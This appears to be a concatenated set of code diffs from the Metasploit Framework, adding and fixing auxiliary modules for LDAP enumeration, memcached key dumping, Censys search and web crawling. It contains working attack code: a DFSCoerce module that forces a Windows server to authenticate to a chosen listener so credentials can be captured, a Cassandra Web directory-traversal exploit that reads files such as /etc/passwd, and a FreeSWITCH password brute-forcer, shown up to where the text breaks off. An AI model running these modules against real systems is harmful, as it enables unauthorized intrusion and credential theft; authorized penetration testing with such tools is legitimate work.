cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true, nil, datastore['Proxies'])
|
||||
cli = Rex::Proto::Http::Client.new('search.censys.io', 443, {}, true, nil, datastore['Proxies'])
|
||||
cli.connect
|
||||
|
||||
response = cli.request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => "/api/v1/search/#{search_type}",
|
||||
'method' => 'GET',
|
||||
'uri' => "/api/v2/hosts/search?q=#{keyword}",
|
||||
'agent' => datastore['USERAGENT'],
|
||||
'headers' => {
|
||||
'Authorization' => "Basic #{Rex::Text.encode_base64("#{uid}:#{secret}")}"
|
||||
},
|
||||
'data' => payload.to_json
|
||||
}
|
||||
)
|
||||
results = cli.send_recv(response)
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
@@ -192,8 +190,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
records = ActiveSupport::JSON.decode(results.body)
|
||||
results = records['results']
|
||||
|
||||
results = records['result']
|
||||
parse_ipv4(results)
|
||||
end
|
||||
|
||||
@@ -296,7 +294,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# auxiliary/gather/censys_search.rb
|
||||
def parse_ipv4(records)
|
||||
ip_list = []
|
||||
records.each do |ipv4|
|
||||
records['hits'].each do |ipv4|
|
||||
ip_list.push(ipv4['ip'])
|
||||
end
|
||||
ip_list
|
||||
@@ -579,7 +577,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# Censys search
|
||||
if [datastore['CENSYS_UID'], datastore['CENSYS_SECRET']].none?(&:nil?)
|
||||
ip_records = censys_search(domain_name, 'ipv4', datastore['CENSYS_UID'], datastore['CENSYS_SECRET'])
|
||||
ip_records = censys_search(domain_name, datastore['CENSYS_UID'], datastore['CENSYS_SECRET'])
|
||||
if ip_records && !ip_records.empty?
|
||||
ip_list |= ip_records
|
||||
end
|
||||
|
||||
@@ -0,0 +1,333 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
require 'json'
|
||||
require 'yaml'
|
||||
|
||||
def initialize(info = {})
|
||||
actions, default_action = initialize_actions
|
||||
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'LDAP Query and Enumeration Module',
|
||||
'Description' => %q{
|
||||
This module allows users to query an LDAP server using either a custom LDAP query, or
|
||||
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
|
||||
file containing custom queries to be executed using the RUN_QUERY_FILE action.
|
||||
If this action is specified, then QUERY_FILE_PATH must be a path to the location
|
||||
of this JSON/YAML file on disk.
|
||||
|
||||
Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting
|
||||
the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES
|
||||
to a comma seperated string containing the list of attributes they are interested in obtaining
|
||||
from the results.
|
||||
|
||||
As a third option can run one of several predefined queries by setting ACTION to the
|
||||
appropriate value. These options will be loaded from the ldap_queries_default.yaml file
|
||||
located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.
|
||||
|
||||
All results will be returned to the user in table, CSV or JSON format, depending on the value
|
||||
of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter
|
||||
should multiple items exist within a single column.
|
||||
},
|
||||
'Author' => [
|
||||
'Grant Willcox', # Original module author
|
||||
],
|
||||
'References' => [
|
||||
],
|
||||
'DisclosureDate' => '2022-05-19',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => actions,
|
||||
'DefaultAction' => default_action,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => false
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(389), # Set to 636 for SSL/TLS
|
||||
OptEnum.new('OUTPUT_FORMAT', [true, 'The output format to use', 'table', %w[csv table json]]),
|
||||
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
|
||||
OptPath.new('QUERY_FILE_PATH', [false, 'Path to the JSON or YAML file to load and run queries from'], conditions: %w[ACTION == RUN_QUERY_FILE]),
|
||||
OptString.new('QUERY_FILTER', [false, 'Filter to send to the target LDAP server to perform the query'], conditions: %w[ACTION == RUN_SINGLE_QUERY]),
|
||||
OptString.new('QUERY_ATTRIBUTES', [false, 'Comma seperated list of attributes to retrieve from the server'], conditions: %w[ACTION == RUN_SINGLE_QUERY])
|
||||
])
|
||||
end
|
||||
|
||||
def initialize_actions
|
||||
user_config_file_path = File.join(::Msf::Config.config_directory, 'ldap_queries.yaml')
|
||||
default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml')
|
||||
|
||||
@loaded_queries = safe_load_queries(default_config_file_path) || []
|
||||
if File.exist?(user_config_file_path)
|
||||
@loaded_queries.concat(safe_load_queries(user_config_file_path) || [])
|
||||
else
|
||||
# If the user config file doesn't exist, then initialize it with a sample entry.
|
||||
# Users can adjust this file to overwrite default actions to retrieve different attributes etc by default.
|
||||
template = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_template.yaml')
|
||||
FileUtils.cp(template, user_config_file_path) if File.exist?(template)
|
||||
end
|
||||
|
||||
# Combine the user settings with the default settings and then uniq them such that we only have one copy
|
||||
# of each ACTION, however we use the user's custom settings if they have tweaked anything to prevent overriding
|
||||
# their custom adjustments.
|
||||
@loaded_queries = @loaded_queries.map { |h| [h['action'], h] }.to_h
|
||||
@loaded_queries.select! do |_, entry|
|
||||
if entry['action'].blank?
|
||||
wlog('ldap query entry detected that was missing its action field')
|
||||
return false
|
||||
end
|
||||
|
||||
if %w[RUN_QUERY_FILE RUN_SINGLE_QUERY].include? entry['action']
|
||||
wlog("ldap query entry detected that was using a reserved action name: #{entry['action']}")
|
||||
return false
|
||||
end
|
||||
|
||||
if entry['filter'].blank?
|
||||
wlog('ldap query entry detected that was missing its filter field')
|
||||
return false
|
||||
end
|
||||
|
||||
unless entry['attributes'].is_a? Array
|
||||
wlog('ldap query entry detected that was missing its attributes field')
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
actions = []
|
||||
@loaded_queries.each_value do |entry|
|
||||
actions << [entry['action'], { 'Description' => entry['description'] || '' }]
|
||||
end
|
||||
actions << ['RUN_QUERY_FILE', { 'Description' => 'Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.' }]
|
||||
actions << ['RUN_SINGLE_QUERY', { 'Description' => 'Execute a single LDAP query using the QUERY_FILTER and QUERY_ATTRIBUTES options.' }]
|
||||
actions.sort!
|
||||
|
||||
default_action = 'RUN_QUERY_FILE'
|
||||
unless @loaded_queries.empty? # Aka there is more than just RUN_QUERY_FILE and RUN_SINGLE_QUERY in the actions list...
|
||||
default_action = actions[0][0] # Get the first entry's action name and set this as the default action.
|
||||
end
|
||||
return actions, default_action
|
||||
end
|
||||
|
||||
def safe_load_queries(filename)
|
||||
begin
|
||||
settings = YAML.safe_load(File.binread(filename))
|
||||
rescue StandardError => e
|
||||
elog("Couldn't parse #{filename}", error: e)
|
||||
return
|
||||
end
|
||||
|
||||
return unless settings['queries'].is_a? Array
|
||||
|
||||
settings['queries']
|
||||
end
|
||||
|
||||
def perform_ldap_query(ldap, filter, attributes)
|
||||
returned_entries = ldap.search(base: @base_dn, filter: filter, attributes: attributes)
|
||||
query_result = ldap.as_json['result']['ldap_result']
|
||||
case query_result['resultCode']
|
||||
when 0
|
||||
vprint_good('Successfully queried LDAP server!')
|
||||
when 1
|
||||
print_error("Could not perform query #{filter}. Its likely the query requires authentication!")
|
||||
fail_with(Failure::NoAccess, query_result['errorMessage'])
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Query #{filter} failed with error: #{query_result['errorMessage']}")
|
||||
end
|
||||
if returned_entries.nil? || returned_entries.empty?
|
||||
print_error("No results found for #{filter}.")
|
||||
nil
|
||||
else
|
||||
returned_entries
|
||||
end
|
||||
end
|
||||
|
||||
def generate_rex_tables(entries, format)
|
||||
entries.each do |entry|
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => entry['dn'][0].split(',').join(' '),
|
||||
'Indent' => 1,
|
||||
'Columns' => %w[Name Attributes]
|
||||
)
|
||||
|
||||
entry.attribute_names.each do |attr|
|
||||
if format == 'table'
|
||||
tbl << [attr, entry[attr].join(' || ')] unless attr == :dn # Skip over DN entries for tables since DN information is shown in header.
|
||||
else
|
||||
tbl << [attr, entry[attr].join(' || ')] # DN information is not shown in CSV output as a header so keep DN entries in.
|
||||
end
|
||||
end
|
||||
|
||||
case format
|
||||
when 'table'
|
||||
print_status(tbl.to_s)
|
||||
when 'csv'
|
||||
print_status(tbl.to_csv)
|
||||
else
|
||||
fail_with(Failure::BadConfig, "Invalid format #{format} passed to generate_rex_tables!")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def output_json_data(entries)
|
||||
entries.each do |entry|
|
||||
result = ''
|
||||
data = {}
|
||||
entry.attribute_names.each do |attr|
|
||||
data[attr] = entry[attr].join(' || ')
|
||||
end
|
||||
result << JSON.pretty_generate(data) + ",\n"
|
||||
result.gsub!(/},\n$/, '}')
|
||||
print_status(entry['dn'][0].split(',').join(' '))
|
||||
print_line(result)
|
||||
end
|
||||
end
|
||||
|
||||
def output_data_table(entries)
|
||||
generate_rex_tables(entries, 'table')
|
||||
end
|
||||
|
||||
def output_data_csv(entries)
|
||||
generate_rex_tables(entries, 'csv')
|
||||
end
|
||||
|
||||
def show_output(entries)
|
||||
case datastore['OUTPUT_FORMAT']
|
||||
when 'csv'
|
||||
output_data_csv(entries)
|
||||
when 'table'
|
||||
output_data_table(entries)
|
||||
when 'json'
|
||||
output_json_data(entries)
|
||||
else
|
||||
fail_with(Failure::BadConfig, 'Supported OUTPUT_FORMAT values are csv, table and json')
|
||||
end
|
||||
end
|
||||
|
||||
def run_queries_from_file(ldap, queries)
|
||||
queries.each do |query|
|
||||
unless query['action'] && query['filter'] && query['attributes']
|
||||
fail_with(Failure::BadConfig, "Each query in the query file must at least contain a 'action', 'filter' and 'attributes' attribute!")
|
||||
end
|
||||
attributes = query['attributes']
|
||||
if attributes.nil? || attributes.empty?
|
||||
print_warning('At least one attribute needs to be specified per query in the query file for entries to work!')
|
||||
break
|
||||
end
|
||||
filter = Net::LDAP::Filter.construct(query['filter'])
|
||||
print_status("Running #{query['action']}...")
|
||||
entries = perform_ldap_query(ldap, filter, attributes)
|
||||
|
||||
if entries.nil?
|
||||
print_warning("Query #{query['filter']} from #{query['action']} didn't return any results!")
|
||||
next
|
||||
end
|
||||
|
||||
show_output(entries)
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
entries = nil
|
||||
begin
|
||||
ldap_connect do |ldap|
|
||||
bind_result = ldap.as_json['result']['ldap_result']
|
||||
|
||||
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
|
||||
case bind_result['resultCode']
|
||||
when 0
|
||||
print_good('Successfully bound to the LDAP server!')
|
||||
when 1
|
||||
fail_with(Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result['errorMessage']}")
|
||||
when 7
|
||||
fail_with(Failure::NoTarget, 'Target does not support the simple authentication mechanism!')
|
||||
when 8
|
||||
fail_with(Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result['errorMessage']}")
|
||||
when 14
|
||||
fail_with(Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result['errorMessage']}")
|
||||
when 48
|
||||
fail_with(Failure::NoAccess, "Target doesn't support the requested authentication type we sent. Try binding to the same user without a password, or providing credentials if you were doing anonymous authentication.")
|
||||
when 49
|
||||
fail_with(Failure::NoAccess, 'Invalid credentials provided!')
|
||||
else
|
||||
fail_with(Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result['errorMessage']}")
|
||||
end
|
||||
if (@base_dn = datastore['BASE_DN'])
|
||||
print_status("User-specified base DN: #{@base_dn}")
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
print_warning("Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
|
||||
case action.name
|
||||
when 'RUN_QUERY_FILE'
|
||||
unless datastore['QUERY_FILE_PATH']
|
||||
fail_with(Failure::BadConfig, 'When using the RUN_QUERY_FILE action, one must specify the path to the JASON/YAML file containing the queries via QUERY_FILE_PATH!')
|
||||
end
|
||||
print_status("Loading queries from #{datastore['QUERY_FILE_PATH']}...")
|
||||
|
||||
parsed_queries = safe_load_queries(datastore['QUERY_FILE_PATH']) || []
|
||||
if parsed_queries.empty?
|
||||
fail_with(Failure::BadConfig, "No queries loaded from #{datastore['QUERY_FILE_PATH']}!")
|
||||
end
|
||||
|
||||
run_queries_from_file(ldap, parsed_queries)
|
||||
return
|
||||
when 'RUN_SINGLE_QUERY'
|
||||
unless datastore['QUERY_FILTER'] && datastore['QUERY_ATTRIBUTES']
|
||||
fail_with(Failure::BadConfig, 'When using the RUN_SINGLE_QUERY action, one must supply the QUERY_FILTER and QUERY_ATTRIBUTE datastore options!')
|
||||
end
|
||||
|
||||
begin
|
||||
filter = Net::LDAP::Filter.construct(datastore['QUERY_FILTER'])
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::BadConfig, "Could not compile the filter #{datastore['QUERY_FILTER']}. Error was #{e}")
|
||||
end
|
||||
|
||||
print_status("Sending single query #{datastore['QUERY_FILTER']} to the LDAP server...")
|
||||
attributes = datastore['QUERY_ATTRIBUTES'].split(',')
|
||||
if attributes.empty?
|
||||
fail_with(Failure::BadConfig, 'Attributes list is empty as we could not find at least one attribute to filter on!')
|
||||
end
|
||||
entries = perform_ldap_query(ldap, filter, attributes)
|
||||
print_error("No entries could be found for #{datastore['QUERY_FILTER']}!") if entries.nil? || entries.empty?
|
||||
else
|
||||
query = @loaded_queries[datastore['ACTION']].nil? ? @loaded_queries[default_action] : @loaded_queries[datastore['ACTION']]
|
||||
fail_with(Failure::BadConfig, "Invalid action: #{datastore['ACTION']}") unless query
|
||||
|
||||
begin
|
||||
filter = Net::LDAP::Filter.construct(query['filter'])
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::BadConfig, "Could not compile the filter #{query['filter']}. Error was #{e}")
|
||||
end
|
||||
|
||||
entries = perform_ldap_query(ldap, filter, query['attributes'])
|
||||
end
|
||||
end
|
||||
rescue Rex::ConnectionTimeout
|
||||
fail_with(Failure::Unreachable, "Couldn't reach #{datastore['RHOST']}!")
|
||||
rescue Net::LDAP::Error => e
|
||||
fail_with(Failure::UnexpectedReply, "Could not query #{datastore['RHOST']}! Error was: #{e.message}")
|
||||
end
|
||||
return if entries.nil? || entries.empty?
|
||||
|
||||
show_output(entries)
|
||||
end
|
||||
end
|
||||
@@ -54,12 +54,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def enumerate_keys
|
||||
keys = []
|
||||
enumerate_slab_ids.each do |sid|
|
||||
sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
|
||||
loop do
|
||||
sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
|
||||
data = sock.recv(4096)
|
||||
break if !data || data.length == 0 || data == "END\r\n"
|
||||
break if !data || data.length == 0 || data == "END\r\n" || data == "ERROR\r\n"
|
||||
matches = data.scan(/^ITEM (?<key>.*) \[/)
|
||||
keys = keys + matches.flatten! if matches
|
||||
break if matches.empty?
|
||||
keys = keys + matches.flatten!
|
||||
break if data =~ /^END/
|
||||
end
|
||||
end
|
||||
@@ -86,9 +87,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
sock.send("lru_crawler metadump all\r\n", 0)
|
||||
loop do
|
||||
data = sock.recv(4096)
|
||||
break if !data || data.length == 0 || data == "END\r\n"
|
||||
break if !data || data.length == 0 || data == "END\r\n" || data == "ERROR\r\n"
|
||||
matches = data.scan(/^key=(?<key>.*) exp=/)
|
||||
keys = keys + matches.flatten! if matches
|
||||
break if matches.empty?
|
||||
keys = keys + matches.flatten!
|
||||
break if data =~ /^END/
|
||||
data = ''
|
||||
end
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'windows_error'
|
||||
require 'ruby_smb'
|
||||
require 'ruby_smb/error'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
Dfsnm = RubySMB::Dcerpc::Dfsnm
|
||||
|
||||
METHODS = %w[NetrDfsAddStdRoot NetrDfsRemoveStdRoot].freeze
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DFSCoerce',
|
||||
'Description' => %q{
|
||||
Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.
|
||||
},
|
||||
'Author' => [
|
||||
'Wh04m1001',
|
||||
'xct_de',
|
||||
'Spencer McIntyre'
|
||||
],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/Wh04m1001/DFSCoerce' ]
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),
|
||||
OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def connect_dfsnm
|
||||
vprint_status('Connecting to Distributed File System (DFS) Namespace Management Protocol')
|
||||
netdfs = @tree.open_file(filename: 'netdfs', write: true, read: true)
|
||||
|
||||
vprint_status('Binding to \\netdfs...')
|
||||
netdfs.bind(endpoint: RubySMB::Dcerpc::Dfsnm)
|
||||
vprint_good('Bound to \\netdfs')
|
||||
|
||||
netdfs
|
||||
end
|
||||
|
||||
def run_host(_ip)
|
||||
begin
|
||||
connect
|
||||
rescue Rex::ConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
end
|
||||
|
||||
begin
|
||||
smb_login
|
||||
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
|
||||
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
|
||||
end
|
||||
|
||||
begin
|
||||
@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
|
||||
rescue RubySMB::Error::RubySMBError => e
|
||||
fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
|
||||
end
|
||||
|
||||
begin
|
||||
dfsnm = connect_dfsnm
|
||||
rescue RubySMB::Error::UnexpectedStatusCode => e
|
||||
if e.status_code == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
|
||||
fail_with(Failure::NoAccess, 'Connection failed (STATUS_ACCESS_DENIED)')
|
||||
end
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")
|
||||
rescue RubySMB::Dcerpc::Error::FaultError => e
|
||||
elog(e.message, error: e)
|
||||
fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")
|
||||
end
|
||||
|
||||
begin
|
||||
case datastore['METHOD']
|
||||
when 'NetrDfsAddStdRoot'
|
||||
dfsnm.netr_dfs_add_std_root(datastore['LISTENER'], 'share', comment: Faker::Hacker.say_something_smart)
|
||||
when 'NetrDfsRemoveStdRoot', 'Automatic'
|
||||
# use this technique by default, it's the original and doesn't require a comment
|
||||
dfsnm.netr_dfs_remove_std_root(datastore['LISTENER'], 'share')
|
||||
end
|
||||
rescue RubySMB::Dcerpc::Error::DfsnmError => e
|
||||
case e.status_code
|
||||
when ::WindowsError::Win32::ERROR_ACCESS_DENIED
|
||||
# this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.)
|
||||
print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful')
|
||||
when ::WindowsError::Win32::ERROR_BAD_NETPATH
|
||||
# this should be the response even if LISTENER was inaccessible
|
||||
print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
|
||||
else
|
||||
print_status("Server responded with #{e.status_code.name} (#{e.status_code.description})")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -66,8 +66,17 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run_host(_ip)
|
||||
connect
|
||||
smb_login
|
||||
begin
|
||||
connect
|
||||
rescue Rex::ConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
end
|
||||
|
||||
begin
|
||||
smb_login
|
||||
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
|
||||
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
|
||||
end
|
||||
|
||||
handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]
|
||||
fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args
|
||||
|
||||
@@ -26,6 +26,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
[
|
||||
OptString.new('SHOST', [false, "Source IP Address"]),
|
||||
OptString.new('SMAC', [false, "Source MAC Address"]),
|
||||
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 5]),
|
||||
])
|
||||
|
||||
deregister_options('SNAPLEN', 'FILTER')
|
||||
@@ -74,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
etime = ::Time.now.to_f + (hosts.length * 0.05)
|
||||
etime = ::Time.now.to_f + datastore['TIMEOUT']
|
||||
|
||||
while (::Time.now.to_f < etime)
|
||||
while(reply = getreply())
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Cassandra Web File Read Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web
|
||||
'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.
|
||||
This vulnerability occured due to the disabled Rack::Protection module
|
||||
},
|
||||
'References' => [
|
||||
['URL', 'https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be'],
|
||||
['EDB', '49362']
|
||||
],
|
||||
'Author' => [
|
||||
'Jeremy Brown', # Vulnerability discovery
|
||||
'krastanoel' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
|
||||
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 8]),
|
||||
OptInt.new('RPORT', [true, 'The Cassandra Web port (default: 3000)', 3000])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check_host(_ip)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/')
|
||||
})
|
||||
|
||||
return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
|
||||
return Exploit::CheckCode::Safe('Target is not a Cassandra Web server') if res.code != 200
|
||||
|
||||
if res.headers['server'] == 'thin' && res.body.include?('Cassandra Web') && res.body.include?('/js/cassandra.js')
|
||||
return Exploit::CheckCode::Appears('Cassandra Web Detected')
|
||||
else
|
||||
return Exploit::CheckCode::Safe('Target is not a Cassandra Web server')
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown('Could not connect to the web service')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
traversal = '../' * datastore['DEPTH']
|
||||
filename = datastore['FILEPATH']
|
||||
filename = filename[1, filename.length] if filename =~ %r{^/}
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/' "#{traversal}#{filename}")
|
||||
})
|
||||
|
||||
fail_with(Failure::Unreachable, 'Connection failed') unless res
|
||||
fail_with(Failure::NotVulnerable, 'Connection failed. Nothing was downloaded') if res.code != 200
|
||||
fail_with(Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter') if res.body.include?('/js/cassandra.js')
|
||||
|
||||
print_status('Downloading file...')
|
||||
print_line("\n#{res.body}\n")
|
||||
|
||||
fname = datastore['FILEPATH']
|
||||
|
||||
path = store_loot(
|
||||
'cassandra.web.traversal',
|
||||
'text/plain',
|
||||
ip,
|
||||
res.body,
|
||||
fname
|
||||
)
|
||||
print_good("File saved in: #{path}")
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
@@ -63,7 +63,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# - The occurence of any form (web.form :path, :type (get|post|path_info), :params)
|
||||
#
|
||||
def crawler_process_page(t, page, cnt)
|
||||
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page.code || "ERR"} - #{t[:vhost]} - #{page.url}"
|
||||
return if page.nil? # Skip over pages that don't contain any info aka page is nil. We can't process these types of pages since there is no data to process.
|
||||
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page ? page.code || "ERR" : "ERR"} - #{t[:vhost]} - #{page.url}"
|
||||
if page.error
|
||||
print_error("Error accessing page #{page.error.to_s}")
|
||||
elog(page.error)
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/freeswitch_event_socket'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'FreeSWITCH Event Socket Login',
|
||||
'Description' => %q{
|
||||
This module tests FreeSWITCH Event Socket logins on a range of
|
||||
machines and report successful attempts.
|
||||
},
|
||||
'Author' => [
|
||||
'krastanoel'
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket']
|
||||
],
|
||||
'DefaultOptions' => { 'VERBOSE' => false },
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SERVICE_RESTARTS],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8021),
|
||||
OptString.new('PASSWORD', [false, 'FreeSWITCH event socket default password', 'ClueCon']),
|
||||
OptPath.new('PASS_FILE',
|
||||
[
|
||||
false,
|
||||
'The file that contains a list of of probable passwords.',
|
||||
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
|
||||
])
|
||||
]
|
||||
)
|
||||
|
||||
# freeswitch does not have an username, there's only password
|
||||
deregister_options(
|
||||
'DB_ALL_CREDS', 'DB_ALL_USERS', 'DB_SKIP_EXISTING', 'BLANK_PASSWORDS',
|
||||
'USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE',
|
||||
'PASSWORD_SPRAY', 'STOP_ON_SUCCESS'
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
cred_collection = Metasploit::Framework::PrivateCredentialCollection.new(
|
||||
password: datastore['PASSWORD'],
|
||||
pass_file: datastore['PASS_FILE']
|
||||
)
|
||||
cred_collection = prepend_db_passwords(cred_collection)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::FreeswitchEventSocket.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: true, # this will have no effect due to the scanner behaviour when scanning without username
|
||||
connection_timeout: 10
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
|
||||
if result.success?
|
||||
credential_data.delete(:username) # This service uses no username
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
||||
if datastore['VERBOSE']
|
||||
